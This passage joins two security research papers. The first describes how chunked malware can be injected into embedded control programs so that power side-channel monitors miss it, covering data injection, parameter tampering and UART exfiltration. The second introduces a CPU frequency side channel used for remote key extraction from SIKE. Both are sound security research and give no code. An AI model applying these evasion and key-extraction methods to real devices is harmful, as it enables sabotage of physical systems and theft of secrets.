Confidential Information Disclosure. When implementing
the attacks, we first disassemble the program binary. Then,
for each specific type of attack, we determine the data that
we want to attack, and construct malware chunks based on
this. We run data flow analysis afterwards to determine the
life cycle of each malware chunk. Finally, after the malicious
chunks are injected, we re-assemble the assembly code into a
binary. We then collect power side-channel signals during the
program execution. Those steps are repeated for every itera-
tion of the proposed attack framework. To construct malware
chunks, we only use registers that are not used by the target
program to avoid potential conflicts.

The average number of instructions per chunk and the total
number of instructions of a malware sample for all 5 types
of malware are shown in Table 3. For example, 9 chunks of
malware (with average size 4 instructions) were used for False
Data Injection on the path program.

False Data Injection/Overwriting Actuation Outputs.
These two classes of attacks modify the inputs and outputs of
the program, resulting in malicious behavior. To implement
this type of attack, we first reverse-engineer the binary of the
target program and locate the memory addresses of where
input/output data are stored, then refer to those addresses in
our malicious code to modify the corresponding values.

We consider the modification of a single input/output vari-
able to be one malware chunk. The live range of each chunk
is constrained to be between the beginning of the scan cycle
of the program and where the data is first used (input) or
between the data is last written and the end of the scan cycle
(output). By serving false data to the program, the attacker
can control the physical system arbitrarily.
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BiLSTM
Program Input manipulation Control parameter Overwrite actuation Data logging Information disclosure
Feature Time Frequency Time Frequency Time Frequency Time Frequency Time Frequency

path 1.0009 1.0036 1.0014 0.9952 1.0039 1.0031 0.9973 0.9975 1.0001 1.0045
collision 0.9985 0.9985 1.0023 1.0004 0.9995 1.003 1.0028 0.9986 0.999 0.9978

cruise 1.005 1.0019 0.9967 0.9988 0.9978 0.9987 0.997 0.9965 0.9973 0.9961
kalman 1.0027 0.9954 0.9951 0.9954 1.0042 1.004 0.9952 1.0045 1.0047 1.0047
particle 0.997 0.9978 1.0006 1.0045 1.0007 0.9986 0.998 1.0044 0.9989 1.0033

BiRNN
Program Input manipulation Control parameter Overwrite actuation Data logging Information disclosure
Feature Time Frequency Time Frequency Time Frequency Time Frequency Time Frequency

path 0.9973 0.9977 0.9961 0.9987 0.9995 1.0026 1.0048 1.0023 0.9997 0.9964
collision 0.9975 0.9966 0.9982 0.9998 0.9996 0.9953 1.0008 1.0033 1.0045 0.9973

cruise 0.9978 0.9956 1.0038 0.9984 0.9996 0.9981 0.9954 1.0004 1.0026 1.0023
kalman 0.9951 0.9994 1.0004 1.0022 1.0045 0.9956 1.0037 1.0006 1.0033 0.9952
particle 1.0026 0.9954 0.9956 0.9974 1.0011 0.9994 0.999 0.999 1.0034 0.9979

HMM
Program Input manipulation Control parameter Overwrite actuation Data logging Information disclosure
Feature Time Frequency Time Frequency Time Frequency Time Frequency Time Frequency

path 0.9993 0.9987 0.9969 0.9970 1.0035 1.0020 1.0007 0.9995 0.9975 1.0008
collision 1.0024 1.0032 1.0038 1.0013 0.9982 1.0027 0.9957 0.9984 0.9963 0.9998

cruise 1.0039 1.0038 1.0018 1.0020 0.9953 0.9951 1.0024 1.0003 1.0027 0.9969
kalman 1.1398 1.2010 1.0389 1.1015 1.1290 1.2312 1.1026 1.1107 1.1114 1.1023
particle 1.1530 1.1115 1.1128 1.1227 1.1511 1.1199 1.1392 1.1143 1.1879 1.1501

Table 4: Normalized average confidence scores (attack performance) on the tested programs with respect to different attacks.

Control Parameter Attack. The control parameter attack
seeks to change memory locations containing constants or pa-
rameters used by the program. Similar to the previous attack,
the control parameter attack is also implemented by reverse-
engineering the binary to locate the memory addresses that
correspond to the control parameters, manipulating those ad-
dresses in the malicious code. In this type of attack, the modi-
fication of each control parameter is treated as one malware
chunk. The live range of each chunk is between the beginning
of the program to where the corresponding control parameter
is first used. Attacking the control parameters can effectively
drive the physical system into dangerous states, potentially
causing catastrophic damage such as crash.

Data Logging. This attack stores data to a predetermined
location in memory, allowing it to be retrieved later or reused
in a common replay attack scenario. Such an attack is im-
plemented by first reverse-engineering the program binary
to identify the addresses of the data that to be logged. The
malicious code fetches the values of those addresses and store
them in unused addresses in the SRAM. The modification of
each data (address) is considered one malware chunk. The live
range of these malware chunks is constrained by which loca-
tions in the code the desired data are available. Data logging
can essentially steal sensitive data from the target program.

Confidential Information Disclosure. This attack sce-
nario involves leaking confidential data used by the program
over a communication channel that is available to the attacker.
This type of attack is very similar to data logging with the

difference being that the data is sent out in real time. In our
implementation, we choose UART as the channel, leveraging
the UART transmission function in the CMSIS library3. We
linearize the code by removing functions, condition checks
and other branch instructions, treating each basic block as one
malware chunk. Again, the live ranges of the malware chunks
are subject to the availability of the data to be sent out.

Research Questions. We aim to answer the following re-
search questions by evaluating the proposed attack:

• RQ1: Can the proposed attack framework help find eva-
sive malware sample injection strategies?

• RQ2: Can the proposed attack framework work under a
cross-device setup for real-world settings?

• RQ3: Can the proposed attack framework even work
under a cross-model setup for adversaries without access
to the target detection models?

• RQ4: Can the proposed attack be still effective when
adversarial examples are included during the training of
the detectors?

RQ1: To answer RQ1, we apply our proposed attack frame-
work to all the aforementioned attack types against the 5
control programs. We present the highest average confidence
score achieved for each program and attack pair in Table 4.
The reported confidence scores are normalized by the average
confidence scores of benign traces. Therefore, a score close
to or greater than one indicates a successful attack. As can

3The CMSIS library is a HAL implementation for ARM Cortex.
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be seen from the table, the proposed attack is able to find
an evading sample with very high score for all the scenar-
ios. By splitting the malicious payload into small chunks and
optimizing to find locations in the benign program to inject
the chunks, the proposed attack framework manages to hide
a malicious payload in a benign program. For HMM-based
detectors that are weaker (e.g. kalman and particle), since the
average confidence score of the benign signals are lower, the
proposed attack can even find evading samples with a signifi-
cantly larger confidence score. As mentioned above, injecting
malicious code deviates internal states of the detector. The op-
timization of our proposed attack finds locations in the benign
program to inject each chunk such that the internal states can
be ‘routed’ back to normal. In this way, the malicious sample
stays undetected.

We also compare the proposed attack framework with a
baseline attack strategy, i.e., injecting the malicious payload
directly without our optimization algorithm (represented by
BASELINE). For this baseline attack, we manually identify a
location in the benign program where injecting the malicious
payload will be effective. For example, in the false data injec-
tion attack, we inject the malicious payload at the beginning
of the program. We use CHUNK to represent the proposed
attack approach in which payload chunks are injected into
locations in the program determined by our search algorithm.

Figure 10 shows the mean of the normalized scores
achieved for each strategy for a BiLSTM-based detector using
time feature. For each attack, the scores are averaged over
all the five programs. As shown, BASELINE results in lower
scores compared to CHUNK, as injecting the malicious pay-
load introduces signal patterns which cannot be recognized
by the detector. Therefore, the output confidence score is still
low. However, in the case of CHUNK, our search algorithm
manages to find the optimal locations to inject the malicious
chunks. In this way, the confidence score is kept high.

The proposed attack helps find a more robust evading sam-
ple. As is mentioned in Section 4, we observe that for a pro-
gram with a malicious payload injected, the confidence scores
tend to have a large amount of variation. Based on Equation 3,
the optimization aims at minimizing this variation. This can
help find a more robust evading sample. We apply the attack
approach again on all the five programs with respect to all
five control attacks. But this time, we do not consider the stan-
dard deviation in the formula, i.e., η = 0. We report the mean
and max/min range of the confidence scores in Figure 11.
The results are averaged over all the five programs. Again a
BiLSTM-based detector using time feature is used.

As illustrated, without considering the variation, the attack
approach cannot find an evading sample with low variation for
most of the control attacks. Only by taking the variation into
account in the optimization objective can the attack approach
can find evading samples with low variation, i.e., a more ro-
bust evading sample. This is because without considering the
variation of the confidence score in the optimization formula,
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Figure 10: Comparison of attack strategies (averaged over all
the five programs). BASELINE represents injecting the

malicious payload as a whole. CHUNK represents injecting
payload chunks in optimized locations.

the found evading samples might fall into a very sensitive
(nonlinear) region in the signal space.

Therefore, a tiny change in the signal due to circuit noise or
data differences might alter the confidence score significantly.
Such a result is not robust. With the variation of the confidence
score plugged in the formula, our search algorithm looks for
samples with both a high score and low variation. Therefore,
the result found is more robust and less likely to be detected.

5.3 Detailed cross-device attack performance

We report the detailed cross-device attack performance for
all the programs and with respect to different attacks in Ta-
ble 5. The collision avoidance and particle filter program have
slightly lower confidence scores over all the attacks compared
to other control programs. This is because these two programs
have larger number of classes compared to other control pro-
grams. Therefore, their loss surfaces are more complicated.
This makes them more sensitive to changes in the input.

RQ2: As described in our attack model, realistically the
attacker cannot query the target microprocessor unlimited
number of times. Instead, they can construct a substitute setup
to generate malware samples and apply them to the origi-
nal microprocessor. To answer RQ2, we assume the attacker
has a substitute setup for generating the malware samples.
Specifically, they have a substitute device which is exactly
the same as the target one, and a copy of the program binary.
They can upload the program binary to the substitute devices
and collect power side-channel signals. We also assume the
attacker knows the model architecture of the detector and they
can train a substitute detector using the signals they collected.
After generating the malware samples, the attacker can apply
them to the original device under attack.

We compute the normalized confidence scores for all the
programs with respect to different attacks. We obtain an av-
erage score of approximately 0.93. Detailed results can be
found in Table 5. This is slightly lower than on the original
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BiLSTM

Program Input manipulation Control parameter Overwrite actuation Data logging Information disclosure
Feature Time Frequency Time Frequency Time Frequency Time Frequency Time Frequency

path 0.9361 0.9385 0.9128 0.9449 0.9239 0.9376 0.9333 0.924 0.9247 0.9215
collision 0.9199 0.9086 0.9201 0.9048 0.919 0.9093 0.9239 0.9049 0.9136 0.9231

cruise 0.9339 0.9339 0.9311 0.9159 0.9276 0.9263 0.9475 0.9383 0.9161 0.9105
kalman 0.9414 0.9367 0.9266 0.9496 0.9225 0.9164 0.9176 0.9272 0.9275 0.935
particle 0.9205 0.9172 0.902 0.9125 0.9042 0.9145 0.9222 0.9124 0.9149 0.9201

BiRNN

Program Input manipulation Control parameter Overwrite actuation Data logging Information disclosure
Feature Time Frequency Time Frequency Time Frequency Time Frequency Time Frequency

path 0.9306 0.9249 0.9105 0.9354 0.9199 0.9403 0.9453 0.9485 0.9257 0.9321
collision 0.9176 0.9065 0.9181 0.9122 0.9253 0.9263 0.9236 0.9283 0.9105 0.9086

cruise 0.947 0.9188 0.9298 0.9361 0.9188 0.9138 0.91 0.9471 0.949 0.9269
kalman 0.9168 0.9316 0.9382 0.9364 0.9436 0.9421 0.9492 0.9331 0.9154 0.9147
particle 0.9103 0.9153 0.9272 0.913 0.9286 0.9164 0.9079 0.916 0.9259 0.9455

HMM

Program Input manipulation Control parameter Overwrite actuation Data logging Information disclosure
Feature Time Frequency Time Frequency Time Frequency Time Frequency Time Frequency

path 0.9208 0.921 0.9202 0.9185 0.9193 0.9234 0.921 0.9214 0.9244 0.9199
collision 0.916 0.9231 0.9202 0.9153 0.9157 0.9184 0.92 0.9152 0.9192 0.9202

cruise 0.9165 0.9206 0.916 0.9196 0.9217 0.9237 0.9178 0.924 0.9152 0.9159
kalman 1.0128 1.0113 1.0012 1.0102 1.1 1.1101 1.0007 1.0154 1.0321 1.0508
particle 1.0111 1.0203 1.0189 1.0169 1.0087 1.0147 1.0194 1.0155 1.0146 1.0128

Table 5: Normalized average confidence scores for cross-device attack performance on the tested programs with respect to
different attacks. Here, the attack evaluation device is different from the attack optimization (substitute setup) device.

device. However, they are still acceptably high. This means
the evading samples found by the proposed attack framework
manage to transfer to a different device. We attribute the cross-
device transferability of the proposed attack to the goal of the
optimization. Even though on a different device the signal
patterns can be different due to circuit noise, since the goal
of the proposed attack is to find an evading sample with low
standard deviation, the effect of such signal pattern difference
does not significantly decrease the confidence score. We also
note that the collision avoidance and particle filter program
have slightly lower confidence scores over all the attacks com-
pared to other control programs. This is because these two
programs have larger number of classes compared to other
control programs. Therefore, their loss surfaces are more com-
plicated. This makes them more sensitive to changes in the
input.

RQ3: RQ3 addresses questions of transferability by further
restricting the attacker’s knowledge and capabilities on the
target; not only does the attacker have no access to the target
microprocessor, nor do they have knowledge of the model of
the detector. This can be the model type, the model architec-
ture (e.g. number of hidden layers or the size of each hidden
layer). We show that by exploiting the transferability of ma-
chine learning models, such an attack is still possible. We
examine the transferability among the aforementioned three
detector models as well as a substitute detector for BiLSTM
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Figure 11: Comparison of the attack with and without
considering the confidence score variance. The error bars

represent the max and min confidence scores . By
considering the variance, we find robust evading samples.

(BiLSTMsub). For BiLSTMsub we make the hidden layer size
half and double the number of layers. These four models rep-
resent three different levels of transferability: cross different
architectures of the same model, cross different models of
the same family (i.e., neural networks) and cross different
families of models. The detectors are trained using the power
signals collected from the substitute device. We upload the
evading samples found in RQ1 to the original device. We then
collect 100 power side-channel signals for each execution
path of the program from the original device. These signals
are sent to the detectors to generate the confidence scores.

We report the normalized average score for each pair of
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Detector BiLSTM BiLSTMsub BiRNN HMM

Ti
m

e

BiLSTM - 0.9323 0.9301 0.7712
BiLSTMsub 0.9301 - 0.9277 0.7513

BiRNN 0.9135 0.9126 - 0.7912
HMM 0.8012 0.8071 0.7908 -

Fr
eq

ue
nc

y BiLSTM - 0.9302 0.9287 0.8124
BiLSTMsub 0.9226 - 0.9191 0.7811

BiRNN 0.9107 0.9097 - 0.5511
HMM 0.7798 0.8025 0.8175 -

Table 6: Transferability between different models.
Normalized average scores between each pair of models.

four models in Table 6. The reported results are averaged over
all the programs and attack types for each model. As can be
seen, cross architecture and cross model attacks transfer pretty
well. This is due to the fact that these neural network-based
models are trained with the same dataset, perform similar
computations, follow similar optimization procedure, so loss
surface of these models are similar to some extent. On the
other hand, cross family attack does not transfer very well.
This is because two families of models, such as neural net-
works and HMM, can be very distinct. To sum up, recall our
attack model, an adversary only needs to know the family of
the detector model to successfully perform the attack.

RQ4: RQ4 even further challenges the capability of the
proposed attack approach by asking: Is the proposed attack
still effective even when generated evading samples are in-
cluded in the training dataset of the detector? To answer
the question, we adopt adversarial training in the design of
the detectors and test the proposed attack approach on them.
Specifically, for a detector under attack, we create one more
adversarial class apart from its original classes. To prepare
data for training this augmented detector, we use the proposed
attack approach to generate evading samples for all the attack
types we considered. We pick the top 10 evading samples
(in the sense of average confidence score) and collect power
side-channel signals of these evading samples as signal sam-
ples in the adversarial class. This is to show the detector what
evading malicious signals look like. We then train the detec-
tor in a standard way. Finally, we apply the proposed attack
on the augmented detectors. To make the proposed attack
compatible with the augmented attacks, borrowing from the
idea from adversarial machine learning [28], we replace the
confidence scores in Equation 3 with the cross entropy loss
of the input signals with respect to the adversarial class. By
maximizing this loss, we are essentially reducing the prob-
ability of classifying a malicious signal into the adversarial
class. Once we obtain the result from the attack procedure, we
classify the corresponding power side-channel signals using
the augmented detector. We measure the successful rate of
the attack by looking at how many signals are classified into
any class other than the adversarial class.

path collision cruise kalman particle

Time 99.78% 100% 97.13% 99.24% 98.55%
Frequency 99.26% 99.16% 98.01% 98.26% 97.98%

Table 7: Attack success rate for adversarial training
augmented BiLSTM detector.

We perform the aforementioned experiment on BiLSTM-
based detectors for all the five programs. To construct an aug-
mented detector and measure the attack performance, evading
samples of all the attacks we considered are used. We col-
lect five power side-channel signals for each test input. We
observe that all augmented detectors has very good perfor-
mance (average classification accuracy 98%). For the attack,
we report the percentage of signals not classified into the ad-
versarial class as attack successful rate. The results are shown
in Table 7. As can be seen from the table, even when evading
samples are added to the classifier, our proposed attack can
still find evading samples that can cause most of the power
signals to be misclassified as benign. This is because data
driven models such as a side-channel detector can easily suf-
fer from lack of sufficient data, leaving a lot of corner cases
near the decision boundary. The iterative MCTs optimization
of our proposed attack approach can maneuver around the
decision boundary, moves towards these corner cases (i.e.,
regions with a high loss with respect to the adversarial class).
Therefore, our proposed attack approach can find an evading
sample with a high attack successful rate. There is no direct
way of compare the performance with and without adversar-
ial training. This is because the definition of attack success
rate is the percentage of signal samples not classified as the
adversarial class. In the absence of adversarial training there
is no adversarial class, and it is not possible to compute the
attack success rate. However, as shown in Table 4 and Table 7,
our proposed attack is successful in both scenarios.

6 Discussion

Improving malicious hit-rate. One limitation of this work
as it stands is that a solution is not guaranteed even though we
did not face this problem in our extensive experiments. Due to
the constrained nature of the problem, we are not theoretically
guaranteed to find a suitable evading example. To address
this issue, one possible future direction is the incorporation
of code randomization [25] applied to malware samples.

Recommendations for defense. A common strategy for
mitigating the effect of adversarial examples is the use of
adversarial training. Borrowing ideas from adversarial ma-
chine learning and including adversarial examples generated
by our method in the training data can potentially produce a
more robust side-channel monitor. However, our experiments
indicate such mitigation is not effective against our proposed
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attack. Alternatively, the detector could perform information
fusion and utilize power and electromagnetic side-channels
at the same time. Misleading such a hybrid detection engine
could be more challenging in practice.

As noted in Section 5.1, window sizes of all the detectors
stay within the control loop (scan cycle). As a result, windows
will never span two control loops at once. A possible avenue
for detector improvements would be to use windows spanning
multiple control loops. However, including more scan cycles
in the window would increase the number of path combina-
tions exponentially and potentially cause a state explosion.
Given that the focus of this work was not on developing better
detectors, we leave this exploration for future work.

Possible Transferability to EM Side Channel. The pro-
posed attack approach can potentially be transferred to EM
side channel for the following reasons. First of all, both power
and EM side-channels originate from the same circuit compo-
nents. Therefore, they may have high correlation. Moreover,
the proposed attack approach is a search based attack; it does
not depend on a specific type of physical side-channel signals
to work. Therefore, it can also be applied to EM side-channel
signal based detectors.

7 Related Work

Physical Side Channel Analysis. Many recent works ana-
lyze physical side channels (e.g. power consumption or EM
radiation) produced by embedded microcontrollers to infer
their internal behavior. Eisenbarth et al. [13] demonstrate the
ability to reconstruct a program by modeling executed instruc-
tions with Hidden Markov Model (HMM) states. Other works
leverage side-channel information to verify the integrity of
code execution on a monitored device.

Liu et al. [32] track code execution using power signals.
They measure the voltage drop over a resistor on the power
pin of the monitored 8-bit AVR microcontroller. They train
an HMM on normal program executions and use a maximum
likelihood algorithm to detect abnormal control flows. Nazari
et al. [39] measure EM spectra and use statistical tests to de-
termine whether an execution follows a “benign” frequency
distribution. Han et al. [22] use neural networks to classify
benign and malicious EM signals. All of these works utilize
data-driven models, which are susceptible to adversarial exam-
ples [19]. Our attack exploits the vulnerabilities of imperfect
data-driven models to evade the detection mechanism.

Functional Malware Generation. The generation of func-
tional malware to evade defensive classifiers has been pre-
viously studied in the case of PDF malware [11, 63]. They
utilize mutation-based approaches such as genetic algorithms
to convert benign samples to malicious-but-evasive samples
while maintaining malicious functionality. In [11], the authors

use a generation-testing loop to verify the functionality of a
malware sample once it is generated. In [63], the authors use a
query-based approach and knowledge of classifier features to
guide their search for evasive and functional malware variants.
We approach our problem similarly with exploratory meth-
ods to find evasive malicious samples with a query-based
approach. In our problem, however, the features of the side-
channel monitor are not readily mapped to the input domain.
We further prune our search space using Monte-Carlo tree
search and deep reinforcement learning.

Evading Classifiers with Adversarial Examples. Our at-
tack is based on the vast amount of adversarial example re-
search in machine learning [64]. A well known method in
this domain is the fast gradient sign method (FGSM) for
generating adversarial examples [19]. This method calcu-
lates gradients to determine the best perturbation direction
to generate an adversarial example. The usage of gradient
information is popular among many adversarial example con-
struction techniques [37,47,64]. Even methods that do not use
gradient information directly estimate gradient information
using iterative and query-based techniques [26, 40]. In our
case, the classifier uses physical signals created from discrete
instructions executed on a processor. Therefore, in our case
the classifier gradient does not contain direct information on
how to create an adversarial example program. As a result,
we use iterative gradient estimation techniques in the form
of Monte-Carlo Tree search, as well as deep reinforcement
learning to develop feasible adversarial examples.

8 Conclusion

In this work, we investigate the resilience of side-channel
based control flow monitoring schemes. We design and
demonstrate attacks that allow (despite the comprehensive
monitoring enabled via power consumption) to hide in plain
sight. Our attacks inject a functional malware payload; this
is achieved using adversarial code injection and optimization
techniques like Monte Carlo Tree Search to help explore the
discrete and constrained state space. Our experiments on the
popular ARM microcontroller demonstrate that even though
side-channel monitors are physically isolated, measure im-
mutable signals, use uninterpretable models, and present a
highly constrained input domain for an attacker, they remain
vulnerable to malicious code execution. Our results demon-
strate that, although side-channel monitoring systems are well
matched for real-time embedded control systems, they are not
as secure as previous work would suggest. Therefore, more
research is required to improve their robustness against eva-
sive advanced adversaries, including (but not restricted to) the
use of information fusion.
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Abstract
Power side-channel attacks exploit data-dependent varia-

tions in a CPU’s power consumption to leak secrets. In this
paper, we show that on modern Intel (and AMD) x86 CPUs,
power side-channel attacks can be turned into timing attacks
that can be mounted without access to any power measure-
ment interface. Our discovery is enabled by dynamic voltage
and frequency scaling (DVFS). We find that, under certain
circumstances, DVFS-induced variations in CPU frequency
depend on the current power consumption (and hence, data)
at the granularity of milliseconds. Making matters worse,
these variations can be observed by a remote attacker, since
frequency differences translate to wall time differences!

The frequency side channel is theoretically more powerful
than the software side channels considered in cryptographic
engineering practice today, but it is difficult to exploit because
it has a coarse granularity. Yet, we show that this new channel
is a real threat to the security of cryptographic software. First,
we reverse engineer the dependency between data, power,
and frequency on a modern x86 CPU—finding, among other
things, that differences as seemingly minute as a set bit’s
position in a word can be distinguished through frequency
changes. Second, we describe a novel chosen-ciphertext at-
tack against (constant-time implementations of) SIKE, a post-
quantum key encapsulation mechanism, that amplifies a sin-
gle key-bit guess into many thousands of high- or low-power
operations, allowing full key extraction via remote timing.

1 Introduction

Power-analysis attacks have been known for decades to be
a powerful source of side channel information leakage. His-
torically, these attacks were used to leak cryptographic se-
crets from embedded devices like smart cards using physical
probes [3,39,59,68,74,75]. Recently, however, power-analysis
attacks have been shown to be exploitable also via software
power measurement interfaces. Such interfaces, available

∗These authors contributed equally to this work.

on many of today’s general-purpose processors, have been
abused to fingerprint websites [95], recover RSA keys [70],
break KASLR [63], and even recover AES-NI keys [64].

Fortunately, software-based power-analysis attacks can be
mitigated and easily detected by blocking (or restricting [10])
access to power measurement interfaces. Up until today, such
a mitigation strategy would effectively reduce the attack sur-
face to physical power analysis, a significantly smaller threat
in the context of modern general-purpose x86 processors.

In this paper, we show that, on modern Intel (and AMD)
x86 CPUs, power-analysis attacks can be turned into timing
attacks—effectively lifting the need for any power measure-
ment interface. Our discovery is enabled by the aggressive dy-
namic voltage and frequency scaling (DVFS) of these CPUs.
DVFS is a commonly-used technique that consists of dynami-
cally adjusting CPU frequency to reduce power consumption
(during low CPU loads) and to ensure that the system stays
below power and thermal limits (during high CPU loads). We
find that, under certain circumstances, DVFS-induced CPU
frequency adjustments depend on the current power consump-
tion at the granularity of milliseconds. Therefore, since the
power consumption is data dependent, it follows transitively
that CPU frequency adjustments are data dependent too.

Making matters worse, we show that data-dependent fre-
quency adjustments can be observed without the need for any
special privileges and even by a remote attacker. The reason is
that CPU frequency differences directly translate to execution
time differences (as 1 hertz = 1 cycle per second). The security
implications of this finding are significant. For example, they
fundamentally undermine constant-time programming, which
has been the bedrock defense against timing attacks since their
discovery in 1996 [58]. The premise behind constant-time
programming is that by writing a program to only use “safe”
instructions, whose latency is invariant to the data values, the
program’s execution time will be data-independent. With the
frequency channel, however, timing becomes a function of
data—even when only safe instructions are used.

Despite its theoretical power, it is not obvious how to con-
struct practical exploits through the frequency side channel.
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This is because DVFS updates depend on the aggregate power
consumption over millions of CPU cycles and only reflect
coarse-grained program behavior. Yet, we show that the fre-
quency side channel is a real threat to the security of crypto-
graphic software, by (i) reverse engineering a precise leakage
model for this channel on modern x86 CPUs, and (ii) showing
that some cryptographic primitives admit amplification of
single key bit guesses into thousands of high- or low-power
operations, enough to induce a measurable timing difference.

To construct a leakage model, we reverse engineer the de-
pendency between data being computed on and power con-
sumption / frequency on modern x86 Intel CPUs. Our results
reveal that power consumption and CPU frequency depend on
both the Hamming weight (HW) of data being processed and
the Hamming distance (HD) of data across computations. We
show, for the first time, that these two effects are distinct and
additive on modern Intel CPUs. Further, the HW effect is non
uniform. That is, computing on data with the same HW results
in differences in power consumption / frequency depending
on the position of individual 1s within data values. The take-
away is that computing on data with different bit patterns
depending on a secret can result in different power consump-
tions and frequencies depending on that secret. We expect that
this information will also be useful towards building future,
Intel-specific power leakage emulators [11,60,72,87,89]. We
find that AMD x86 CPUs also feature a similar leakage model,
but leave reverse engineering its details to future work.

We then describe a novel attack, including new cryptana-
lytic techniques, on two production-ready, constant-time im-
plementations of SIKE (Supersingular Isogeny Key Encap-
sulation [52]). SIKE is a decade old, widely studied key en-
capsulation mechanism. Unlike other finalists in NIST’s Post-
Quantum Cryptography competition, SIKE has both short
ciphertexts and short public keys — and a “well-understood”
side channel posture [20]. In our attack, we show that, when
provided with a specially-crafted input, SIKE’s decapsula-
tion algorithm produces anomalous 0 values that depend on
single bits of the key. Worse so, these values cause the algo-
rithm to get stuck and operate on intermediate values that are
also 0 for the remainder of the decapsulation. When this hap-
pens, the processor consumes less power and runs at a higher
frequency than usual, and therefore decapsulation takes a
shorter wall time. This timing signal is so robust that key
extraction is possible across a network, as we demonstrate
for the SIKE implementations in both Cloudflare’s Interop-
erable Reusable Cryptographic Library (CIRCL) [28] and
Microsoft’s PQCrypto-SIDH [66]. Our unoptimized version
of the attack recovers the full key from these libraries in 36
and 89 hours, respectively. Finally, we show that the frequency
side channel can also be used to mount timing attacks without
a timer, such as a KASLR break and a covert channel.

Disclosure We disclosed our findings, together with proof-
of-concept code, to Intel, Cloudflare and Microsoft in Q3 2021

and to AMD in Q1 2022. The attack was assigned CVE-2022-
23823 and CVE-2022-24436 and held under embargo until
June 14, 2022. Intel committed to awarding us a bug bounty.
Cloudflare and Microsoft deployed a mitigation to CIRCL
and PQCrypto-SIDH, respectively.

2 Background and Related Work

Intel P-States In Intel processors, dynamic voltage and fre-
quency scaling (DVFS) works at the granularity of P-states.
P-states correspond to different operating points (voltage-
frequency pairs) in 100 MHz frequency increments [49]. The
number of P-states varies across different CPU models. Mod-
ern Intel processors offer two mechanisms to control P-states,
namely SpeedStep and Speed Shift / Hardware Controlled Per-
formance States (HWP). With SpeedStep, P-states are man-
aged by the operating system (OS) using hardware coordina-
tion feedback registers. With HWP, P-states are managed en-
tirely by the processor, increasing the overall responsiveness.
HWP was introduced with the Skylake microarchitecture [78].
When HWP is enabled, the OS can only give hints to the pro-
cessor’s internal P-state selection logic, including restricting
the range of available P-states [91]. Otherwise, the available
range of P-states depends only on the number of active cores
and on whether “Turbo Boost” is enabled [55]. Our P-state
naming convention follows the one used in Linux [91].1 The
lowest P-state corresponds to the lowest supported CPU fre-
quency. The highest P-state corresponds to the “max turbo”
frequency for the processor. However, when Turbo Boost is
disabled, the highest available P-state is the base frequency.
We use the term P-state and frequency interchangeably.

P-state management is also related to power management.
Each Intel processor has a Thermal Design Point (TDP), indi-
cating the expected power consumption at steady state under
a sustained workload [22, 40]. While in the max turbo mode,
the processor can exceed its nominal TDP [47]. However, if
the CPU hits a certain power and thermal limit while in max
turbo mode, the hardware will automatically downclock the
frequency to stay at TDP for the duration of the workload.

Data-Dependent Power Consumption It is well-known
that a processor’s power consumption depends on the data
being processed [46, 68]. The precise dependency between
data and power consumption depends on the processor’s im-
plementation, but can be approximated using leakage mod-
els. Two commonly-used leakage models are the Hamming
distance (HD) [9, 61, 68, 71, 77] and the Hamming weight
(HW) [56, 61, 67, 71, 73, 74, 88] models. In the HD model,
power consumption depends to the number of 1→ 0 and
0→ 1 bit transitions occurring in the data during a computa-
tion. In the HW model, power consumption just depends on
the number of bits that are 1 in the data being processed.

1However, Intel refers to higher frequencies as lower P-states [48, 50].
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Table 1: CPUs tested in our experimental setups.

CPU Model Microarchitecture Cores Base
Frequency

Max Turbo
Frequency

i7-8700 Coffee Lake 6 3.20 GHz 4.60 GHz
i7-9700 Coffee Lake Refresh 8 3.00 GHz 4.70 GHz
i9-10900K Comet Lake 10 3.70 GHz 5.30 GHz
i7-11700 Rocket Lake 8 2.50 GHz 4.90 GHz
i7-10850H Ice Lake (mobile) 6 2.70 GHz 5.10 GHz
i7-1185G7 Tiger Lake (mobile) 4 3.00 GHz 4.80 GHz

Power Side-Channel Attacks Power side-channel attacks
against cryptosystems were first publicly discussed by Kocher
in 1998 [59]. His work introduced analytical techniques that
exploit the data dependency of power consumption to reveal
secret keys. Following works demonstrated power-analysis
attacks against several cryptographic algorithms including
AES [14, 67], DES [74], RSA [30, 75, 80, 94], and ElGa-
mal [16,30].2 However, all these attacks were targeted against
smart cards and required physical access to the device. More
recently, power side-channel attacks have been applied also to
more complex devices such as smartphones [15,35,76,92,93]
and PCs [36, 63, 64, 70, 95]. Some of these attacks rely only
on software power measurement interfaces, meaning that they
do not need proximity to the device. However, while some
of these works use the HW and HD leakage models [64, 70],
none of them presents a systematic reverse engineering of the
dependency between power consumption and data on modern
Intel x86 CPUs. Further, all these attacks can be blocked by
restricting access to such power measurement interfaces.

3 CPU Frequency Leakage Channel

In this section, we analyze the leakage from CPU frequency
variations on modern Intel processors. We show that, un-
der certain circumstances, the distribution of a processor’s
frequencies leaks information about the instructions being
executed as well as the data being processed.

Experimental Setup We run our experiments on several
different machines. The characteristics of the CPU of each
machine are reported in Table 1. All our machines run Ubuntu
with versions either 18.04 or 20.04, kernel either 4.15 or 5.4,
and the latest microcode patches installed. Unless otherwise
noted, we use the default system configuration, without re-
stricting the P-states. To monitor CPU frequency, we use the
MSR_IA32_MPERF and MSR_IA32_APERF registers, as done in
the Linux kernel [62]. To monitor power consumption, we
use the MSRs of the RAPL interface, following Weaver [90].

3.1 Distinguishing Instructions

As a first step for our analysis, we set out to understand how
running different workloads affects the P-state selection logic

2For a comprehensive survey of these attacks, we refer to prior work [68].
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Figure 1: Example of distinguishing workloads using fre-
quency traces on our i7-9700 CPU. The lighter workload
(int32) allows for longer runtimes at higher frequencies than
the heavier workload (int32-float).

of our CPUs. We pick two workloads from the stress-ng
benchmark suite [57]. The first workload consists of 32-bit
integer and floating-point operations (int32float method),
while the second workload consists of only 32-bit integer oper-
ations (int32 method). We run both benchmarks on all cores
and starting from an idle machine. We sample the CPU fre-
quency and the (package domain) power consumption every
5 ms during the benchmark’s execution.

Figure 1a shows the results for the int32float test on our
i7-9700 CPU. The frequency starts at 4.5 GHz, the highest
P-state available when all cores are active on our CPU. This
frequency is sustained for about 8 seconds, during which the
power consumption is allowed to exceed the TDP. Then, the
CPU drops to a lower P-state, bringing the power consumption
down to TDP (65 W on our CPU). From there onwards, the
CPU remains in steady state and power stays around the TDP
level for the duration of the workload. In our example, at
steady state the frequency oscillates between two P-states,
corresponding to the frequencies of 3.9 GHz and 4.0 GHz.

Figure 1b shows the results for the int32 stress test. Here
too, the frequency starts at 4.5 GHz and later drops to a lower
P-state. However, compared to Figure 1a, (i) the drop occurs
later, after 10 seconds, and (ii) the P-states used after the drop
are higher, corresponding to 4.0 GHz and 4.1 GHz. This is
because the power consumption of the int32 test is lower. As
a consequence, not only can the processor sustain the highest
